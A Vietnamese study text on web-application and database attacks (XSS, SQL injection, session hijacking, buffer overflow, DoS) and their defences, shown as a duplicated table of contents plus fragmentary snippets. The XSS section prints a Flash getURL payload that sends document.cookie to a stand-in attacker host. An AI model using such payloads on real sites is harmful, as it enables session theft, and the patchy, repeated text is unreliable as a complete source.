Tài liệu ôn thi môn học an ninh mạng, bao gồm lý thuyết về rất nhiều hình thức tấn công web và cơ sở dữ liệu, thích hợp cho các bạn sinh viên đại học và cao học: CROSS SITE SCRIPTING, SQL INJECTION, XSS, DDOS...
Mục lục Mục lục 1 Chương 1: 5 GIỚI THIỆU ỨNG DỤNG WEB & DATABASE 5 I .Khái niệm ứng dụng Web 5 II.Mô tả hoạt động của một ứng dụng Web 7 Chương 2 : 8 CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN 8 I:Hacker 8 II: HTTP Header 8 III: SESSION 8 IV: COOKIE 8 V: PROXY 9 Chương 3: 9 GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB 9 I: KIỂM SOÁT TRUY NHẬP WEB (WEB ACCESS CONTROL) 9 I.1 Thâm nhập qua cửa sau (BACK DOOR) 9 II: CHIẾM HỮU PHIÊN LÀM VIỆC (SESSION MANGEMENT) 9 II.1 .Ấn định phiên làm việc (SESSION FIXATION) 9 II.2 Đánh cắp phiên làm việc (SESSION HIJACKING) 9 III: Lợi dụng lỗi trong việc kiểm tra nhập dữ liệu (INPUT VALIDATION) 10 III.1 Kiểm tra hợp lệ phía trình duyệt (CLIENT-SIDE VALIDATION) 10 III.2 Tràn bộ đệm ( BUFFER OVERFLOW) 10 III.3 Mã hóa URL (URL ENCODING) 10 III.4 Ký tự META( META CHARACTERS) 10 III.5 Vượt qua đường dẫn (PATH TRAVERSAL) 10 III.6 Chèn mã lệnh thực thi trình duyệt nạn nhân (CROSS-SITE SCRIPING) 10 III.7 Thêm câu lệnh hệ thống (OS COMMAND INJECTION) 10 III.8 Chèn câu truy vấn SQL (SQL INJECTION) 11 III.9 Ngôn ngữ phía máy chủ (SEVER SIDE INCLUDES) 11 III.10 Kí tự rỗng (NULL CHARACTERS) 11 III.11 Thao tác trên tham số truyền (PRAMETER MANIPULATION) 11 IV.Để lộ thông tin (INFORMATIONAL) 11 pg. 1 V. Từ chối dịch vụ (DENIAL OF SERVICE (DOS)) 12 PHẦN THỨ HAI 13 CÁC KĨ THUẬT TẤN CÔNG VÀ 13 BẢO MẬT ỨNG DỤNG WEB &DATABASE 13 Chương 4: 13 THAO TÁC TRÊN THAM SỐ TRUYỀN 13 I. THAO TÁC TRÊN URL 13 I.1. Khái niệm: 13 I.2. Một số biện pháp khắc phục 14 II. THAO TÁC TRÊN BIẾN ẨN FORM 14 II.1. Khái niệm 14 II.2 Một số biện pháp khắc phục 15 III. THAO TÁC TRÊN COOKIE 15 III.1. Khái niệm 15 III.2. Một số biện pháp khắc phục 15 IV. THAO TÁC TRONG HTTP HEADER 16 IV.1. Khái niệm 16 IV.2. Một số biện pháp khắc phục 16 Chương 5 17 CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN 17 I. KĨ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS) 18 II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG 19 III. TẤN CÔNG XSS BẰNG FLASH 19 V. CÁCH PHÒNG CHỐNG 20 Chương 6 21 CHÈN CÂU TRUY VẤN SQL 21 I. KHÁI NIỆM SQL INJECTION 22 II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU 22 III. CÁC CÁCH TẤN CÔNG 23 III.1. Kĩ thuật tấn công SQL Injection 23 I.THAO TÁC TRÊN URL 24 I.1 KHÁI NIỆM 24 I.2 MỘT SỐ BIỆN PHÁP KHẮC PHỤC 24 II. THAO TÁC TRÊN BIẾN ẨN FORM 25 pg. 2 II.1 KHÁI NIỆM 25 II.2 MỘT SỐ BIỆN PHÁP KHẮC PHỤC 26 III. THAO TÁC TRÊN COOKIE 26 III.1 KHÁI NIỆM 26 III.2 MỘT SỐ BIỆN PHÁP KHẮC PHỤC 27 IV. THAO TÁC TRONG HTTP HEADER 27 IV.1 KHÁI NIỆM 27 IV.2 MỘT SỐ BIỆN PHÁP KHẮC PHỤC 28 Chương 5: 29 CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN 29 I.KỸ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS) 29 II.PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG 31 III.MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS 34 IV.TẤN CÔNG XSS BẰNG FLASH 35 V. Cách phòng chống 36 Chương 6: 37 CHÈN CÂU TRUY VẤN SQL 37 I.KHÁI NIỆM SQL INJECTION 37 II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU 37 III.CÁC CÁCH TẤN CÔNG 38 IV.CÁCH PHÒNG CHỐNG 44 Chương 7: Tràn bộ đệm 45 I. Khái niệm 45 II. Cách phòng chống 48 Chương 8 :Từ chối dịch vụ (Dos) 49 I.Khái niệm 49 II.Những khả năng bị tấn công bằng DOS 49 III.Các kỹ thuật tấn công 50 IV.Biện pháp phòng chống 51 Chương 9 :một số kỹ thuật tấn công khác 51 I.Mã hóa URL (URL Encoding) 51 I.1 Khái niệm 51 I.2 Biện pháp phòng chống 52 II.Kiểu tấn công vượt đường dẫn 52 pg. 3 II.1 Khái niệm 52 II.2 Một số biện pháp phòng chống 53 III.Tấn công dựa vào kí tự rỗng 53 III.1 Khái niệm 53 III.2 Một số biện pháp phòng chống 53 Chương 10: Tổng kết quá trình tấn công của Hacker 53 I. Thu thập thông tin ở mức hạ tầng của mục tiêu 53 Chương 11: Tổng kết các biện pháp phòng chống 56 I.Với những nhà quản trị mạng 56 II. Với người sử dụng ứng dụng WEB 58 Kết luận 59 Tài liệu tham khảo 61 pg. 4 Chương 1: GIỚI THIỆU ỨNG DỤNG WEB & DATABASE Luận văn được thực hiện nhằm tìm hiểu về các kĩ thuật tấn công trang Web & Database và đề ra cách phòng chống. Do đó, trong chương đầu tiên luận văn sẽ giới thiệu sơ lược một số khái niệm cơ bản và đây chính là nền tảng để xây dựng nội dung cho những phần sau. I .Khái niệm ứng dụng Web Ứng dụng Web là một ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác. Trình khách dành cho người sử dụng thường là một trình duyệt Web như Internet Explorer hay Firefox. Cũng có thể là một chương trình đóng vai trò đại lý người dùng hoạt động như một trình duyệt tự động. Người dùng gửi và nhận các thông tin từ trình chủ thông qua việc tác động vào các trang Web. Các chương trình có thể là các trang trao đổi mua bán, các diễn đàn, gửi nhận e-mail… Tốc độ phát triển các kỹ thuật xây dựng ứng dụng Web cũng phát triển rất nhanh. Trước đây những ứng dụng Web thường được xây dựng bằng CGI (Common Gateway Interface) được chạy trên các trình chủ Web và có thể kết nối vào các cơ sở dữ liệu đơn giản trên cùng máy chủ. Ngày nay ứng dụng Web thường được viết bằng Java (hay các ngôn ngữ tương tự) và chạy trên máy chủ phân tán, kết nối đến nhiều nguồn dữ liệu. Một ứng dụng web thường có kiến trúc gồm: Hình 1 : Kiến trúc ứng dụng Web và Database • Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu cho người dùng, ngoài ra còn có thể có thêm các ứng dụng tạo bố cục cho trang web. pg. 5 • Lớp ứng dụng: là nơi xử lý của ứng dụng Web. Nó sẽ xử lý thông tin người dùng yêu cầu, đưa ra quyết định, gửi kết quả đến “lớp trình bày”. Lớp này thường được cài đặt bằng các kỹ thuật lập trình như CGI, Java, .NET , PHP hay ColdFusion, được triển khai trên các trình chủ như IBM WebSphere, WebLogic, Apache, IIS… • Lớp dữ liệu: thường là các hệ quản trị dữ liệu (DBMS) chịu trách nhiệm quản lý các file dữ liệu và quyền sử dụng. Mô hình hóa hoạt động của một ứng dụng Web: Hình 2 : Mô hình hoạt động của một ứng dụng Web Trong đó: • Trình khách ( hay còn gọi là trình duyệt): Internet Explorer, Netscap Navigator,Firefox • Trình chủ: Apache, IIS, …. • Hệ quản trị cơ sở dữ liệu: SQL Server, MySQL, DB2, Access…. Bên cạnh đó, một giải pháp dùng để bảo vệ một hệ thống mạng thường được sử dụng là bức tường lửa, nó có vai trò như là lớp rào chắn bên ngoài một hệ thống mạng, vì chức năng chính của firewall là kiểm soát luồng thông tin giữa các máy tính. Có thể xem firewall như một bộ lọc thông tin, nó xác định và cho phép một máy tính này có được truy xuất đến một máy tính khác hay không, hay một mạng này có được truy xuất đến mạng kia hay không. Người ta thường dùng firewall vào mục đích: • Cho phép hoặc cấm những dịch vụ truy xuất ra ngoài. • Cho phép hoặc cấm những dịch vụ từ bên ngoài truy nhập vào trong. • Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập. pg. 6 Firewall hoạt động dựa trên gói IP do đó kiểm soát việc truy nhập của máy người sử dụng II.Mô tả hoạt động của một ứng dụng Web Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông qua các lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc trình chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình khách. Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến cơ sở dữ liệu, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho trình khách 1 luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần: • Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và WebServer. • Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì. Theo mô hình ở hình 2, với firewall, luồng thông tin giữa trình chủ và trình khách là luồng thông tin hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng dụng Web thì firewall không còn hữu dụng trong việc ngăn chặn hacker này. Do đó, các kĩ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker cũng có thể lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống không liên quan khác . pg. 7 Chương 2 : CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN I:Hacker Hacker là một thuật ngữ dùng để chỉ những kẻ phá hoại, khai thác các lỗ hổng của hệ thống mạng, nhằm vào mục đích riêng. II: HTTP Header HTTP header là phần đầu (header) của thông tin mà trình khách và trình chủ gửi cho nhau. Những thông tin trình khách gửi cho trình chủ được gọi là HTTP requests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời). Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị. Một số tham số có thể được dùng trong cả header yêu cầu và header trả lời, còn số khác thì chỉ đuợc dùng riêng trong từng loại. III: SESSION HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP không lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót này gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ không biết được trước đó trình duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng dụng Web đưa ra một khái niệm phiên làm việc (Session). Còn SessionID là một chuỗi để chứng thực phiên làm việc. Một số trình chủ sẽ cung cấp một SessionID cho người dùng khi họ xem trang web trên trình chủ. Để duy trì phiên làm việc thì sessionID thường được lưu vào : Biến trên URL Biến ẩn form Cookie Phiên làm việc chỉ tồn tại trong một khoảng thời gian cho phép, thời gian này được cấu hình qui định tại trình chủ hoặc bởi ứng dụng thực thi. Trình chủ sẽ tự động giải phóng phiên làm việc để khôi phục lại tài nguyên của hệ thống. IV: COOKIE Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình duyệt của người dùng. Các cookie được lưu trữ dưới những file dữ liệu nhỏ dạng text, được pg. 8 ứng dụng tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm trang Web và những vùng mà họ đi qua trong trang. Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen V: PROXY Proxy cung cấp cho người sử dụng truy xuất Internet những thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Chương 3: GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB I: KIỂM SOÁT TRUY NHẬP WEB (WEB ACCESS CONTROL) I.1 Thâm nhập qua cửa sau (BACK DOOR) Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ thống một cách dễ dàng. II: CHIẾM HỮU PHIÊN LÀM VIỆC (SESSION MANGEMENT) II.1 .Ấn định phiên làm việc (SESSION FIXATION) Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành người dùng hợp lệ. II.2 Đánh cắp phiên làm việc (SESSION HIJACKING) Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ sau khi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu trữ trong cookie pg. 9 hay tham số URL, biến ẩn của form. III: Lợi dụng lỗi trong việc kiểm tra nhập dữ liệu (INPUT VALIDATION) III.1 Kiểm tra hợp lệ phía trình duyệt (CLIENT-SIDE VALIDATION) Do ngôn ngữ phía trình duyệt ( JavaScript, VBScript ) đuợc thực thi trên trình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm tra. III.2 Tràn bộ đệm ( BUFFER OVERFLOW) Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống. Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ thống III.3 Mã hóa URL (URL ENCODING) Lợi dụng chuẩn mã hóa những kí tự đặc biệt trên URL mà hacker sẽ mã hoá tự động những kí tự bất hợp lệ- những kí tự bị kiểm tra bằng ngôn ngữ kịch bản-để vượt qua vòng kiểm soát này. III.4 Ký tự META( META CHARACTERS) Sử dụng những kí tự đặc biệt ( nói rõ hơn trong phần phụ lục) hacker có thể chèn thêm vào dữ liệu gửi những kí tự trong chuỗi câu lệnh như <script> trong kĩ thuật XSS, ‘ trong SQL….để thực thi câu lệnh. III.5 Vượt qua đường dẫn (PATH TRAVERSAL) Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên hệ thống. III.6 Chèn mã lệnh thực thi trình duyệt nạn nhân (CROSS-SITE SCRIPING) Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người dùng hơn là vào hệ thống máy chủ. Bằng cách thêm một đoạn mã bất kì ( thường được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này. Cross- Site scripting cũng là một kiểu tấn công “session hijacking”. III.7 Thêm câu lệnh hệ thống (OS COMMAND INJECTION) Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm vào pg. 10 [...]... dùng đang sử dụng một ứng dụng Web có lỗ hỏng XSS Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…) Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”… Bước 3: Chuyển nội dung thông tin... trang web khác, tham số thường là một URL chẳng hạn như “http://www.yahoo.com” Ví dụ getURL(“http://www.yahoo.com”) pg 19 Tuy nhiên có thể thay thế URL bằng JavaScript: getURL(“javascript:alert(document.cookie)”) Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào ứng dụng Web. .. http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0) II.PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie Cookie là mẩu thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng Nhưng chỉ ứng dụng thi t lập ra cookie thì mới có thể đọc nó Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie Công... trang web khác, tham số thường là một URL chẳng hạn như “http://www.yahoo.com” Ví dụ 5.IV-1: getURL(“http://www.yahoo.com”) Tuy nhiên có thể thay thế URL bằng JavaScript: getURL(“javascript:alert(document.cookie)”) Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào ứng dụng Web. .. trình khách thì không nên dùng các tham số như referer,… để thực hiện các biện pháp an toàn Nhận xét: Mọi thông tin quan trọng trao đổi giữa trình duyệt và trình chủ không nên lưu trữ dưới dạng chuỗi thông thường mà cần được mã hóa, ngoài ra những thông tin này nên được kiểm tra, đối chiếu với dữ liệu trong cơ sở dữ liệu hay trong cache của trình chủ, phòng tránh trường hợp nội dung thông tin bị sai lệch... chương này là ASP với cơ sở dữ liệu là SQL Server III CÁC CÁCH TẤN CÔNG III.1 Kĩ thuật tấn công SQL Injection SQL Injection là phương thức khai thác dựa vào quá trình trao đổi dữ liệu giữa người dùng và Web Application Việc ứng dụng không kiểm tra các giá trị đầu vào đẫn đến attacker có thể cho thực thi các SQL query không mong muốn can thi p vào database làm thay đổi, thêm, xem hay xóa các dữ liệu Hacker... những thông tin quan trọng như mã nguồn một trang Web hay tập tin chứa mật khẩu của người dùng trên hệ thống luôn là mục tiêu của hacker Ngoài ra những lời chú thích trong mã nguốn cũng là nguồn thông tin hữu pg 11 ích cho hacker Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng dụng có tồn tại hay không Ví dụ 1.IV-1: • HTTP 200 : tập tin tồn tại • HTTP 404: tập tin không tồn... steal.cgi) hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin Bước 5: Sau khi nhận được thông tin cần thi t, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng III TẤN CÔNG XSS BẰNG FLASH Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash để đánh cắp thông tin Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã... JavaScript vào ứng dụng Web thông qua tập tin flash Một ví dụ khác rõ hơn về cách tấn công này là” Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc: getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”) Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo... người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thưc thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ thực thi ngồn tin mà người dùng sẽ quyết định Nhận xét: Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thi t hại chỉ dừng pg 20 lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa đảo mà hacker đưa đến cho nạn nhân Vì thế,